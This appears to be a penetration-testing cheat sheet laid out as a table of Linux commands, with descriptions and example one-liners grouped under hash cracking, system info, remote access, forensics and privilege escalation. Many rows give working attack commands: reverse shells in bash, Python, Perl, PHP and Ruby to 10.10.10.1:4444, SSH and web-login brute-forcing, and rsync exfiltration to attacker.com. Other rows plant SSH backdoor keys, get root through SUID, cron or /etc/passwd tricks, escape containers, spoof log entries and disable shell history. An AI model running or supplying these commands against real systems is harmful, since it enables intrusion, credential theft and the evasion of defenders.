openssl x509	Crypto & Hashing	Inspect, convert, and manipulate X.509 certificates	`openssl x509 -in cert.pem -noout -text` — view full certificate details `openssl x509 -in cert.pem -noout -subject -dates` — check validity period
openssl passwd	Crypto & Hashing	Generate crypt-format password hashes	`openssl passwd -6 -salt xyz mypassword` — generate SHA-512 hash for /etc/shadow insertion `openssl passwd -apr1 password` — Apache MD5 hash
john	Crypto & Hashing	John the Ripper — multi-format password hash cracker	`john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt` — dictionary attack `unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt` — crack Linux shadow hashes `john --format=bcrypt --wordlist=rockyou.txt hashes.txt` — crack bcrypt hashes `john --show hashes.txt` — display cracked passwords
hashcat	Crypto & Hashing	GPU-accelerated hash cracker — fastest tool available	`hashcat -m 0 -a 0 hashes.txt rockyou.txt` — MD5 dictionary attack `hashcat -m 1800 -a 3 shadow.txt '?a?a?a?a?a?a'` — SHA-512 brute-force 6-char `hashcat -m 22000 wpa.hc22000 rockyou.txt` — crack WPA handshake `hashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule` — NTLM with rules
hydra	Crypto & Hashing	Network login brute-force tool supporting 50+ protocols	`hydra -l admin -P rockyou.txt ssh://target` — SSH brute-force `hydra -L users.txt -P passwords.txt target http-post-form '/login:u=^USER^&p=^PASS^:Invalid'` — web form `hydra -l root -P passwords.txt ftp://target` — FTP brute-force `hydra -l admin -P rockyou.txt -e nsr target http-get /admin` — HTTP basic auth
medusa	Crypto & Hashing	Parallel, speedy network login auditor	`medusa -h target -u admin -P rockyou.txt -M ssh -t 4` — parallel SSH brute-force `medusa -H hosts.txt -U users.txt -P passwords.txt -M rdp` — RDP brute multi-host
crunch	Crypto & Hashing	Generate custom wordlists from character sets and patterns	`crunch 8 8 abcdefgh0123456789 -o wordlist.txt` — all 8-char combos from charset `crunch 6 6 -t pass@@ -o targeted.txt` — pattern-based: pass then 2 digits
cewl	Crypto & Hashing	Spider a website and generate a custom wordlist from its content	`cewl https://target.com -m 6 -d 3 -w wordlist.txt` — scrape words 6+ chars, 3 levels deep `cewl -e --email_file emails.txt https://target.com` — also extract emails for phishing
hashid	Crypto & Hashing	Identify hash type from its format and length	`hashid '$6$salt$longhash'` — identify SHA-512-crypt (Linux shadow) `hashid -m hash.txt` — identify with suggested hashcat -m mode numbers
hash-identifier	Crypto & Hashing	Interactive tool to identify unknown hash types	`hash-identifier` — launch interactive prompt, paste hash for identification
uname	System Info	Print kernel/OS information. -a all, -r release, -m machine arch	`uname -a` — get full kernel version string for exploit-suggester input `uname -r` — kernel release only (check against CVE/PoC database)
hostname	System Info	Show or set the system hostname	`hostname` — identify compromised machine name `hostname -I` — list all IP addresses on the machine `hostname -f` — fully qualified domain name
uptime	System Info	Show how long the system has been running and load averages	`uptime` — check if system recently rebooted (may indicate patching or incident response)
dmesg	System Info	Print kernel ring buffer messages (hardware, driver, network events)	`dmesg -T \| grep -i 'usb\\|err\\|fail\\|attack'` — find USB insertions, errors, anomalies `dmesg \| tail -50` — recent kernel messages
lscpu	System Info	Display detailed CPU architecture information	`lscpu` — confirm 32/64-bit, VM vs physical, CPU count, virtualization support
lsmem	System Info	Show system memory ranges and their properties	`lsmem` — view physical memory layout
free	System Info	Display RAM and swap memory usage	`free -h` — check available RAM before loading memory-intensive tools
vmstat	System Info	Report virtual memory, processes, I/O, CPU activity stats	`vmstat 1 5` — 5 snapshots at 1s intervals (spot CPU/memory spikes)
iostat	System Info	Report CPU and I/O device utilization	`iostat -x 1` — extended disk I/O stats (detect heavy disk read = forensics on disk?)
mpstat	System Info	Report multiprocessor CPU usage statistics	`mpstat -P ALL 1` — per-core CPU usage (detect cryptominer on specific core)
sar	System Info	Collect, report, and save system activity data	`sar -n DEV 1 5` — network interface statistics every second
lsblk	System Info	List block devices in tree format with sizes and mount points	`lsblk` — see all disks and partitions `lsblk -f` — show filesystem types and UUIDs (find unencrypted unmounted data drives)
lspci	System Info	List all PCI hardware devices	`lspci \| grep -i 'net\\|vga\\|virt'` — detect VM (VMware, VirtualBox), find network cards
lsusb	System Info	List all USB devices connected to system	`lsusb` — detect USB devices including HID implants (e.g., USB Rubber Ducky)
lshw	System Info	Detailed hardware configuration in tree format	`lshw -short` — summarized hardware inventory `lshw -class network` — detailed network interface hardware info
dmidecode	System Info	Read hardware info directly from DMI/BIOS table	`dmidecode -t system` — get vendor, model, serial (detect cloud/VM environment) `dmidecode -t bios` — BIOS version and date for vulnerability research
hwinfo	System Info	Very detailed hardware info (apt install hwinfo)	`hwinfo --network` — detailed network hardware including driver info
sensors	System Info	Read hardware temperatures and voltages (requires lm-sensors)	`sensors` — monitor temperatures to detect mining or overloading
inxi	System Info	Comprehensive system info tool with many output formats	`inxi -Fxz` — full system info with extra details, hide personal info
hostnamectl	System Info	Show or set hostname and related system metadata	`hostnamectl` — see OS name, kernel, machine ID, virtualization type
timedatectl	System Info	Show or set system time, timezone, and NTP status	`timedatectl` — check system time vs hardware clock (important for Kerberos, TLS)
localectl	System Info	Show or set locale and keyboard layout settings	`localectl` — confirm language settings (useful in forensics)
systemctl	System Info	Manage systemd services, targets, and units	`systemctl list-units --type=service --state=running` — see all running services (spot suspicious ones) `systemctl status ssh` — check SSH service status `systemctl enable --now evil.service` — install and start backdoor service for persistence
journalctl	System Info	Query and filter systemd journal logs	`journalctl -u ssh -n 100` — last 100 SSH log lines `journalctl --since '1 hour ago'` — logs from last hour `journalctl -p err -b` — only errors since last boot `journalctl -f` — follow live journal output
env	System Info	Print all current environment variables	`env` — critical post-shell step: find credentials, tokens, paths in environment `env \| grep -iE 'pass\|key\|secret\|token\|api'` — grep env for sensitive values
printenv	System Info	Print value of a specific environment variable	`printenv PATH` — check PATH for hijacking opportunities `printenv HOME USER SHELL` — identify session context
set	System Info	Display all shell variables, functions, and environment	`set` — comprehensive view of all shell state including functions
export	System Info	Set and export variables to child processes in current session	`export PATH=/tmp:$PATH` — PATH hijack for privesc `export HISTFILE=/dev/null HISTSIZE=0` — disable command history for stealth
alias	System Info	Create command shortcuts or override existing commands	`alias ll='ls -la'` — convenience alias `alias sudo='strace -o /tmp/sudo.log -e read sudo'` — intercept sudo password (lab demo)
history	System Info	Show command history with line numbers	`history \| grep -iE 'pass\|ssh\|mysql\|ftp\|scp'` — mine history for credentials `cat ~/.bash_history` — read history file directly `cat /home/*/.bash_history 2>/dev/null` — all users' command histories
runlevel	System Info	Print previous and current SysV runlevel	`runlevel` — check runlevel on legacy SysV init systems
init	System Info	Change system runlevel (SysV legacy)	`init 6` — reboot `init 0` — halt/shutdown
apt	Package Management	Debian/Ubuntu front-end package manager	`apt update && apt install nmap wireshark -y` — install tools on Kali/Ubuntu `apt list --installed \| grep -i 'audit\\|tripwire\\|aide'` — check for IDS/monitoring tools on target
apt-get	Package Management	Lower-level Debian package manager with more control	`apt-get install -y --no-install-recommends metasploit-framework` — install MSF minimally `apt-get download nmap && dpkg -x nmap*.deb /tmp/nmap` — extract without installing
dpkg	Package Management	Manage .deb packages directly	`dpkg -l \| grep -i 'ssh\\|audit\\|fail2ban'` — check security software on target `dpkg -i custom_tool.deb` — install .deb file `dpkg -L nmap` — list files installed by a package
yum	Package Management	RHEL/CentOS package manager (older systems)	`yum install nmap -y` — install on RHEL/CentOS `yum list installed` — list all installed packages on target
dnf	Package Management	Modern replacement for yum on Fedora/RHEL 8+	`dnf install nmap -y` — install on modern RHEL `dnf history` — see history of package installations (forensics)
rpm	Package Management	Manage .rpm packages on RHEL-based systems	`rpm -qa \| grep ssh` — list installed SSH packages `rpm -qf /usr/bin/sudo` — find which package owns sudo (verify integrity) `rpm -V sudo` — verify sudo package files haven't been tampered
pacman	Package Management	Arch Linux package manager	`pacman -S nmap` — install nmap on Arch `pacman -Q \| grep -i 'sec\\|audit'` — list security-related packages
snap	Package Management	Snap package manager for sandboxed containerized apps	`snap list` — list installed snaps on target machine
flatpak	Package Management	Flatpak sandboxed application manager	`flatpak list` — list installed Flatpak apps
pip	Package Management	Python 2/3 package installer	`pip3 install impacket requests pwntools` — install common pentest Python libs `pip3 install --target /tmp/ impacket` — install without root to /tmp
pip3	Package Management	Python 3 specific package installer	`pip3 install scapy` — install packet crafting library `pip3 list \| grep -i 'request\\|crypto\\|socket'` — find useful libs already installed
gem	Package Management	Ruby package (gem) manager	`gem install evil-winrm` — install Windows remote management tool `gem install wpscan` — install WordPress scanner
npm	Package Management	Node.js package manager	`npm install -g retire` — install JS vulnerability scanner
cargo	Package Management	Rust package manager and build system	`cargo install ripgrep` — install fast grep replacement written in Rust
mount	Disk & Filesystem	Mount filesystem or show all mounts. -o ro for read-only	`mount` — list all mounted filesystems (spot NFS, CIFS mounts for lateral movement) `mount /dev/sdb1 /mnt/usb` — mount external drive `mount -o ro /dev/sda1 /mnt/forensic` — mount read-only for forensic analysis
umount	Disk & Filesystem	Unmount a mounted filesystem	`umount /mnt/usb` — safely unmount before removing drive
fdisk	Disk & Filesystem	Interactive partition management for MBR disks	`fdisk -l` — list all disks and their partition tables `fdisk -l /dev/sdb` — inspect specific disk (USB, added drive)
parted	Disk & Filesystem	Advanced disk partition manager supporting GPT and MBR	`parted /dev/sdb print` — show partition table of drive
mkfs	Disk & Filesystem	Create filesystem on a partition	`mkfs.ext4 /dev/sdb1` — format partition (destroys data, for prep/cleanup)
fsck	Disk & Filesystem	Check and repair filesystem integrity	`fsck -n /dev/sda1` — check without fixing (safe, read-only check)
blkid	Disk & Filesystem	Print block device attributes: UUID, filesystem type, label	`blkid` — identify all storage devices with type and UUID `blkid /dev/sdb1` — get UUID to reference in fstab or scripts
dd	Disk & Filesystem	Low-level data copy — disk imaging, wiping, converting	`dd if=/dev/sda of=/mnt/backup/disk.img bs=4M status=progress` — create forensic disk image `dd if=/dev/zero of=/dev/sdb bs=1M status=progress` — wipe disk `dd if=/dev/urandom of=/dev/sdb bs=1M` — random wipe (harder to recover) `dd if=/dev/sda \| gzip > disk.img.gz` — compressed disk image
dcfldd	Disk & Filesystem	Forensic dd with on-the-fly hashing and split output	`dcfldd if=/dev/sda of=image.img hash=sha256 hashlog=hash.txt bs=4M` — image with hash verification
shred	Disk & Filesystem	Securely overwrite file data to prevent recovery	`shred -uzn 3 sensitive.txt` — 3-pass overwrite + zero + delete `shred -n 1 -z /dev/sdb` — wipe entire disk with one pass then zeros
wipe	Disk & Filesystem	Secure file deletion utility	`wipe -r /tmp/sensitive/` — recursively wipe directory contents
secure-delete	Disk & Filesystem	Toolkit: srm (files), sfill (free space), smem (memory), sswap	`srm -r /tmp/loot/` — securely delete directory `sfill -z /tmp` — overwrite free space in /tmp
badblocks	Disk & Filesystem	Scan storage device for bad or failing sectors	`badblocks -v /dev/sdb > bad.txt` — find bad sectors (could explain forensic gaps)
hdparm	Disk & Filesystem	Query and set ATA/SATA hard disk parameters	`hdparm -I /dev/sda` — full drive info (model, serial, security features) `hdparm -t /dev/sda` — benchmark raw disk read speed
smartctl	Disk & Filesystem	SMART disk health monitoring and diagnostics	`smartctl -a /dev/sda` — full SMART data including reallocated sectors `smartctl -t short /dev/sda` — run short self-test
bash	Shell & Scripting	Bourne Again Shell — primary shell, scripting, one-liners	`bash -i >& /dev/tcp/10.10.10.1/4444 0>&1` — TCP reverse shell one-liner `bash -p` — preserve effective UID (privesc step after SUID) `bash -c 'id; cat /etc/passwd'` — run multiple commands `bash -x script.sh` — debug script with trace output
sh	Shell & Scripting	POSIX-compliant shell — available on almost every Unix system	`sh -i >& /dev/tcp/10.10.10.1/4444 0>&1` — minimal reverse shell `/bin/sh -i` — interactive sh (smaller footprint than bash)
zsh	Shell & Scripting	Z shell — feature-rich shell with tab completion and plugins	`zsh` — launch zsh (common on Kali Linux default)
python tty	Shell & Scripting	Upgrade dumb netcat shell to interactive PTY via Python	`python3 -c 'import pty;pty.spawn("/bin/bash")'` — step 1: get PTY Then: `Ctrl+Z` → `stty raw -echo; fg` → `reset` → `export TERM=xterm`
script tty	Shell & Scripting	Upgrade dumb shell using the script command to allocate PTY	`script /dev/null -c bash` — spawn bash with full TTY via script
echo	Shell & Scripting	Print text, variables, or escape sequences to stdout	`echo $PATH` — view current PATH `echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys` — add SSH backdoor key `echo -e '\x41\x42\x43'` — print hex-escaped characters
printf	Shell & Scripting	Formatted output — more control than echo	`printf '\x41\x42\x43\n'` — print bytes by hex value `printf '%s:%s\n' user pass` — formatted credential output
read	Shell & Scripting	Read user input into variables	`read -s -p 'Password: ' pass` — read password silently (no echo) `while read line; do nmap $line; done < targets.txt` — loop over file lines
source	Shell & Scripting	Execute script in current shell context (inherits variables)	`source ~/.bashrc` — reload bash configuration `source exploit_env.sh` — load environment variables from file
exec	Shell & Scripting	Replace current process with a new command (no new PID)	`exec /bin/bash` — replace current shell with bash `exec 3<>/dev/tcp/10.10.10.1/4444` — open TCP socket as file descriptor 3
eval	Shell & Scripting	Evaluate a string as shell commands	`eval $(ssh-agent)` — start ssh-agent and set variables `cmd='id'; eval $cmd` — dynamic command execution (injection demo)
test	Shell & Scripting	Evaluate conditions — file existence, string comparison, integer comparison	`test -f /etc/shadow && echo 'shadow readable!' \|\| echo 'nope'` — check file access
expr	Shell & Scripting	Evaluate basic arithmetic and string expressions	`expr 2048 \* 1024` — calculate memory size in bytes
let	Shell & Scripting	Perform integer arithmetic on shell variables	`let port=4444; let port+=1; echo $port` — increment port variable
declare	Shell & Scripting	Declare variables and set attributes (type, readonly, export)	`declare -r CONST=value` — declare read-only variable `declare -a arr` — declare array
trap	Shell & Scripting	Catch signals and execute commands when signals are received	`trap 'rm -f /tmp/.payload; exit 0' EXIT` — cleanup payload on script exit `trap '' INT TERM` — make script immune to Ctrl+C and kill
getopts	Shell & Scripting	Parse command-line options in shell scripts	`while getopts 'h:p:u:' opt; do case $opt in h) HOST=$OPTARG;; esac; done` — parse -h -p -u flags
tar	Archives	Archive and optionally compress files. c=create x=extract z=gzip j=bzip2	`tar -czvf loot.tar.gz /home/user/docs/` — compress directory for exfil `tar -xzvf tools.tar.gz -C /tmp/` — extract tools to /tmp `tar -cjf backup.tar.bz2 /etc/` — bzip2 compressed (smaller) `tar -tvf archive.tar.gz` — list contents without extracting
gzip	Archives	Compress a single file with gzip algorithm	`gzip -9 capture.pcap` — max compress capture for storage `gzip -d file.gz` — decompress
gunzip	Archives	Decompress gzip-compressed files	`gunzip archive.gz` — extract .gz file
bzip2	Archives	Compress/decompress files with bzip2 (better ratio than gzip)	`bzip2 -9 large_file.bin` — compress with best ratio
xz	Archives	High-ratio compression with xz/lzma algorithm	`xz -9 -T 4 huge.img` — max compression using 4 threads `xz -d file.xz` — decompress
zip	Archives	Create ZIP archive — cross-platform compatible	`zip -r loot.zip /home/user/ -x '*.mp4'` — zip home dir excluding large videos `zip -P s3cr3t protected.zip sensitive.txt` — password-protected zip
unzip	Archives	Extract ZIP archive contents	`unzip -l archive.zip` — list contents without extracting `unzip -P password protected.zip -d /tmp/out/` — extract password-protected zip
7z	Archives	7-Zip — supports many formats with high compression	`7z a -mmt4 -mx9 archive.7z /data/` — max compression 4 threads `7z x protected.zip -pPASSWORD` — extract password-protected `7z l archive.7z` — list archive contents
rar	Archives	Create and extract RAR archives	`rar a -hp'password' archive.rar files/` — password-encrypted RAR `unrar x archive.rar` — extract RAR
zcat	Archives	View gzipped file content without extracting to disk	`zcat access.log.gz \| grep POST` — search compressed log without extracting
bzcat	Archives	View bzip2 file content without extracting	`bzcat backup.bz2 \| strings \| grep -i pass` — search bzip2 archive for passwords
ssh-keygen	Remote Access	Generate SSH key pairs and manage existing keys	`ssh-keygen -t ed25519 -C 'backdoor' -f /tmp/.key -N ''` — generate key silently `cat /tmp/.key.pub >> /root/.ssh/authorized_keys` — install for persistent access `ssh-keygen -t rsa -b 4096 -f mykey` — RSA 4096-bit key
ssh-copy-id	Remote Access	Copy public key to remote host's authorized_keys automatically	`ssh-copy-id -i ~/.ssh/id_ed25519.pub user@target` — install key for passwordless access
ssh-agent	Remote Access	Key management daemon — holds decrypted private keys in memory	`eval $(ssh-agent) && ssh-add ~/.ssh/id_rsa` — start agent and load key
ssh-add	Remote Access	Add private keys to running ssh-agent	`ssh-add /tmp/.private_key` — load stolen or custom key into agent
sshpass	Remote Access	Provide SSH password non-interactively (for scripting)	`sshpass -p 'password' ssh user@target 'id; hostname'` — automated SSH login `sshpass -f passfile scp user@target:/etc/passwd ./` — automated SCP
rsync	Remote Access	Efficient remote file sync over SSH with compression and delta transfer	`rsync -avz --progress /home/user/loot/ user@attacker.com:/exfil/` — exfil directory `rsync -avz -e 'ssh -p 2222' user@target:/var/www/ ./backup/` — backup over non-standard port
sshfs	Remote Access	Mount remote filesystem over SSH as local directory	`sshfs user@target:/var/www /mnt/target_web` — browse remote files locally `fusermount -u /mnt/target_web` — unmount
tmux	Remote Access	Terminal multiplexer — multiple windows/panes, survives disconnect	`tmux new -s pentest` — create named session `tmux attach -t pentest` — reattach after disconnect `tmux split-window -h` — split horizontally (monitor two things at once)
screen	Remote Access	Legacy terminal multiplexer — widely available fallback	`screen -S hack` — start named session `screen -r hack` — reattach to detached session `screen -ls` — list all sessions
rdesktop	Remote Access	Open-source RDP client for connecting to Windows hosts	`rdesktop -u Administrator -p Password target.com` — RDP to Windows target
xfreerdp	Remote Access	Modern RDP client with NLA/TLS support	`xfreerdp /u:Administrator /p:Password /v:target /cert-ignore` — RDP ignoring cert warnings `xfreerdp /u:admin /pth:NTHASH /v:target /cert-ignore` — pass-the-hash RDP
rsh	Remote Access	Remote shell — insecure legacy tool (no encryption)	`rsh target 'id'` — remote command execution if .rhosts allows
rcp	Remote Access	Remote file copy — insecure legacy tool	`rcp file user@target:/tmp/` — copy file if .rhosts trusts us
vnc	Remote Access	VNC remote desktop clients	`vncviewer target:1` — connect to VNC display 1 `vncviewer -passwd passwd_file target` — connect with saved password file
ausearch	Forensics & Logs	Search Linux audit logs by key, user, executable, syscall, time	`ausearch -k passwd_changes -i` — find audit events tagged with key `ausearch -m execve --start today -i` — all commands executed today `ausearch -ua 1000 -i` — all audit events for UID 1000
auditctl	Forensics & Logs	Configure Linux Audit System rules dynamically	`auditctl -w /etc/passwd -p war -k passwd_changes` — watch passwd for writes and attribute changes `auditctl -a always,exit -F arch=b64 -S execve -k cmd_exec` — audit all command executions `auditctl -l` — list active audit rules
aureport	Forensics & Logs	Generate summary reports from audit log data	`aureport --login` — login/logout summary `aureport --failed` — all failed events `aureport --executable` — programs that were executed `aureport --user` — events per user
logrotate	Forensics & Logs	Rotate, compress, and manage log files automatically	`logrotate -f /etc/logrotate.conf` — force rotation immediately (can be used to truncate logs)
logger	Forensics & Logs	Write arbitrary messages to the system syslog	`logger -t SECURITY 'Suspicious activity detected'` — inject fake log entry `logger -p auth.info 'Accepted password for root'` — spoof auth log entry
volatility	Forensics & Logs	Memory forensics framework for analyzing RAM dumps	`volatility -f memory.dmp imageinfo` — identify OS profile from memory dump `vol -f mem.dmp windows.pslist` — list processes from Windows memory `vol -f mem.dmp linux.netstat` — network connections from Linux memory `vol -f mem.dmp windows.hashdump` — extract password hashes from memory
foremost	Forensics & Logs	File carving tool — recover deleted files from disk images	`foremost -t jpeg,pdf,docx -i disk.img -o /output/` — carve common file types from image
binwalk	Forensics & Logs	Firmware analysis and embedded file extraction tool	`binwalk -e firmware.bin` — extract embedded filesystems from IoT firmware `binwalk -A firmware.bin` — scan for executable code and architecture `binwalk -M -e --dd='.*' firmware.bin` — recursive deep extraction
scalpel	Forensics & Logs	Fast file carver based on header/footer signatures	`scalpel -c /etc/scalpel/scalpel.conf disk.img -o output/` — carve files per config
exiftool	Forensics & Logs	Read and write metadata in many file formats	`exiftool image.jpg` — extract GPS, camera model, creation date `exiftool -all= image.jpg` — strip all metadata for OPSEC before sharing `exiftool -r /path/` — recursively process directory
readelf	Forensics & Logs	Display information about ELF binary files	`readelf -h binary` — ELF header (arch, entry point, type) `readelf -S binary` — section headers (find .text, .bss, .plt) `readelf -d binary \| grep NEEDED` — required shared libraries
objdump	Forensics & Logs	Display and disassemble object files and binaries	`objdump -d -M intel binary` — disassemble in Intel syntax (more readable) `objdump -s -j .rodata binary` — dump read-only data section (strings, consts)
nm	Forensics & Logs	List symbols from object files (functions, globals)	`nm binary \| grep -i 'system\\|exec\\|popen\\|gets'` — find dangerous function symbols `nm -D /lib/x86_64-linux-gnu/libc.so.6 \| grep ' system'` — find system() address in libc
ltrace	Forensics & Logs	Trace shared library calls made by a program	`ltrace ./binary 2>&1 \| grep -i 'strcmp\\|strncmp\\|system'` — find password comparisons or dangerous calls
gdb	Forensics & Logs	GNU Debugger — debug, analyze, and exploit binaries	`gdb ./vulnerable` — start debugging `gdb -p PID` — attach to running process Inside: `r $(python3 -c 'print("A"*200)')` — crash test `info registers` — view registers after crash `x/20x $esp` — examine stack
pwndbg	Forensics & Logs	GDB plugin that enhances GDB for exploit development	`gdb ./binary` (with pwndbg loaded) — get enhanced display with stack, heap, regs `checksec` — check binary security features inside gdb
radare2	Forensics & Logs	Open-source reverse engineering framework	`r2 -A malware.bin` — open with full analysis Inside r2: `pdf @main` — disassemble main, `iz` — strings, `afl` — list functions, `VV` — visual graph mode
ghidra	Forensics & Logs	NSA open-source GUI reverse engineering suite	`ghidraRun` — launch Ghidra GUI Import binary → Auto-analyze → CodeBrowser for decompilation to C-like pseudocode
strings	Forensics & Logs	Extract printable strings from binary files	`strings -a malware.bin \| grep -iE 'http\|ftp\|cmd\|pass\|key\|token\|config'` — extract IOCs `strings /proc/PID/exe` — strings from running process without file access
autopsy	Forensics & Logs	GUI digital forensics platform built on Sleuth Kit	`autopsy &` — open browser-based GUI (http://localhost:9999/autopsy) Create case → Add disk image → Analyze file system, deleted files, email, web history
sudo -l	PrivEsc	List allowed sudo commands for current user — always run first	`sudo -l` — look for NOPASSWD entries and check each at gtfobins.github.io Example: (root) NOPASSWD: /usr/bin/vim → `sudo vim -c ':!/bin/bash'`
SUID find	PrivEsc	Find all SUID binaries — most common privesc starting point	`find / -perm -4000 -type f 2>/dev/null` — find all SUID files `find / -perm -u=s -type f 2>/dev/null` — alternate syntax Check each result at gtfobins.github.io for exploitation technique
SGID find	PrivEsc	Find all SGID binaries — may lead to group-based escalation	`find / -perm -2000 -type f 2>/dev/null` — find SGID binaries `find / -perm -g=s -type f 2>/dev/null` — alternate syntax
writable find	PrivEsc	Find world-writable files and directories for injection	`find / -writable -type f 2>/dev/null \| grep -v proc \| grep -v sys` — writable system files `find / -writable -type d 2>/dev/null \| grep -v proc` — writable dirs (PATH injection targets)
getcap	PrivEsc	Find binaries with elevated Linux capabilities	`getcap -r / 2>/dev/null` — find capability-enabled binaries e.g., python3 with cap_setuid+ep → `python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'` e.g., /usr/bin/python3 = cap_net_raw → raw socket access
linpeas	PrivEsc	Automated Linux privilege escalation enumeration script	`curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \| sh` `./linpeas.sh -a 2>&1 \| tee linpeas.txt` — save full output for review Colors: RED/YELLOW = critical findings to investigate first
linux-exploit-suggester	PrivEsc	Match current kernel version to known local privilege escalation exploits	`./linux-exploit-suggester.sh` — auto-detects kernel version and suggests CVEs `./linux-exploit-suggester.sh --uname 'Linux 4.4.0'` — test specific version
pspy	PrivEsc	Monitor processes without root — see cron jobs run by other users	`./pspy64 -pf -i 1000` — monitor with file events, 1s interval Watch for root-owned scripts/binaries that run periodically (cron privesc)
docker group	PrivEsc	Docker group membership equals root on host	`id \| grep docker` — check membership `docker run -v /:/mnt --rm -it alpine chroot /mnt sh` — mount host root inside container and chroot `docker run --privileged -it ubuntu bash` — privileged container escape
lxd group	PrivEsc	LXD/LXC group membership leads to root on host	`id \| grep lxd` — check membership Steps: build Alpine image → lxc init Alpine privesc → add disk device / → lxc start → lxc exec privesc -- sh → chroot /mnt/root
PATH hijack	PrivEsc	Inject malicious binary early in PATH to hijack SUID execution	`echo '/bin/bash -p' > /tmp/ls && chmod +x /tmp/ls && export PATH=/tmp:$PATH` — hijack 'ls' called by SUID binary Verify target SUID calls relative command: `strings /usr/sbin/target \| grep -v '/'`
LD_PRELOAD	PrivEsc	Preload malicious shared library when allowed via sudo env_keep	`cat /etc/sudoers \| grep LD_PRELOAD` — check if env_keep includes LD_PRELOAD Compile evil.c (calls setuid(0)+system("/bin/bash")) → `gcc -shared -fPIC evil.c -o evil.so` `sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find` — trigger as root
cron writable	PrivEsc	Modify a script called by root's cron job	`cat /etc/crontab && ls -la /etc/cron.*` — find scripts run as root `echo 'chmod +s /bin/bash' >> /path/to/script.sh` — inject SUID payload Wait for cron to run → `/bin/bash -p` — get root shell
NFS no_root_squash	PrivEsc	NFS share without root_squash allows host root to create SUID files	`cat /etc/exports` — look for no_root_squash option On attacker (as root): mount share, copy /bin/bash, chmod +s bash On target: execute the SUID bash with `./bash -p`
/etc/passwd writable	PrivEsc	If /etc/passwd is writable, add root-privileged user directly	`ls -la /etc/passwd` — check if world-writable `echo 'hacker:$(openssl passwd -1 pass):0:0:root:/root:/bin/bash' >> /etc/passwd` — add root user `su hacker` then enter 'pass' → root shell
weak file permissions	PrivEsc	Find sensitive files with incorrect permissions	`ls -la /etc/shadow /etc/sudoers /root/.ssh/` — check critical file permissions `find /home -name '*.pem' -o -name 'id_rsa' 2>/dev/null` — find SSH private keys
date	Misc Utilities	Display or set system date, time, and format output	`date` — check system time (important for Kerberos ticket validity, TLS certs) `date -d @1609459200` — convert Unix timestamp to human-readable `date +%Y%m%d_%H%M%S` — timestamp for filename
cal	Misc Utilities	Display calendar for month or year	`cal 2024` — view full year calendar
bc	Misc Utilities	Arbitrary-precision command-line calculator	`echo 'obase=16; 255' \| bc` — decimal 255 to hex: FF `echo 'ibase=16; FF' \| bc` — hex FF to decimal: 255 `echo '2^32' \| bc` — calculate IPv4 address space
factor	Misc Utilities	Factorize integers into prime factors	`factor 65537` — factorize (65537 is prime — common RSA public exponent)
seq	Misc Utilities	Generate sequences of numbers	`seq 1 254 \| xargs -I{} -P10 ping -c1 -W1 192.168.1.{} \| grep 'from'` — parallel ping sweep `seq 80 443` — generate port range for use in scripts
yes	Misc Utilities	Repeatedly output a string until killed — useful for automation	`yes \| rm -ri directory/` — auto-confirm all deletions `yes password \| passwd user` — auto-supply password to passwd
xclip	Misc Utilities	Read and write to X11 clipboard from command line	`cat /etc/passwd \| xclip -sel clip` — copy file to clipboard for pasting
xdotool	Misc Utilities	Simulate keyboard and mouse events on X11	`xdotool type 'injected text'` — simulate keyboard input to active window
inotifywait	Misc Utilities	Monitor filesystem events in real time (inotify-tools)	`inotifywait -m /etc -e modify,create,delete` — watch /etc for any changes (catch defender activity) `inotifywait -m /tmp -e create` — alert when files appear in /tmp
chroot	Misc Utilities	Change apparent root directory for current process and children	`chroot /mnt/compromised_root /bin/bash` — enter mounted filesystem as if it's root `mount --bind /proc /mnt/root/proc && chroot /mnt/root bash` — chroot with proc for full system
nsenter	Misc Utilities	Enter namespaces of another process — container escape technique	`nsenter -t 1 -m -u -i -n -p -- bash` — enter all namespaces of PID 1 from inside container (escape to host) `nsenter -t PID -n -- ss -tulnp` — enter only network namespace of another process
unshare	Misc Utilities	Run command in new isolated namespaces	`unshare -r /bin/bash` — create user namespace mapped to root (if unprivileged user namespaces enabled)
ip netns	Misc Utilities	Manage network namespaces for isolation and testing	`ip netns list` — list all network namespaces `ip netns exec ns1 bash` — run bash inside specific network namespace
pivot_root	Misc Utilities	Swap root filesystem — used in container runtime internals	`pivot_root new_root put_old` — swap root filesystem (container escape technique)
docker	Misc Utilities	Container management — often leads to root on host	`docker ps -a` — list all containers including stopped `docker exec -it container_name bash` — shell into running container `docker run -v /:/host -it --rm alpine chroot /host` — root escape via volume mount `docker inspect container \| grep -i 'env\\|mount'` — check for secrets in env vars
kubectl	Misc Utilities	Kubernetes CLI — access cluster, pods, secrets	`kubectl get pods --all-namespaces` — list all pods in cluster `kubectl exec -it pod-name -- /bin/bash` — shell into a pod `kubectl get secrets -o yaml` — dump all secrets in current namespace `kubectl auth can-i --list` — list what current account can do
python3	Misc Utilities	Python 3 interpreter — essential for exploits, scripts, servers	`python3 -m http.server 8080` — instant HTTP file server for tool delivery `python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'` — Python reverse shell `python3 -m base64 -d <<< 'encoded'` — decode base64
perl	Misc Utilities	Perl interpreter — often available when bash isn't, great for one-liners	`perl -e 'use Socket;$i="10.10.10.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'` — Perl reverse shell
php	Misc Utilities	PHP interpreter — available on web servers, useful for reverse shells	`php -r '$sock=fsockopen("10.10.10.1",4444);$proc=proc_open("/bin/bash -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'` — PHP reverse shell `php -S 0.0.0.0:8080` — PHP built-in web server
ruby	Misc Utilities	Ruby interpreter — alternative shell and scripting language	`ruby -rsocket -e 'f=TCPSocket.open("10.10.10.1",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'` — Ruby reverse shell
lua	Misc Utilities	Lua interpreter — used in Nmap scripting engine (NSE)	`nmap --script=lua_script target` — custom Lua NSE script `lua -e 'os.execute("/bin/bash")'` — execute shell command via Lua
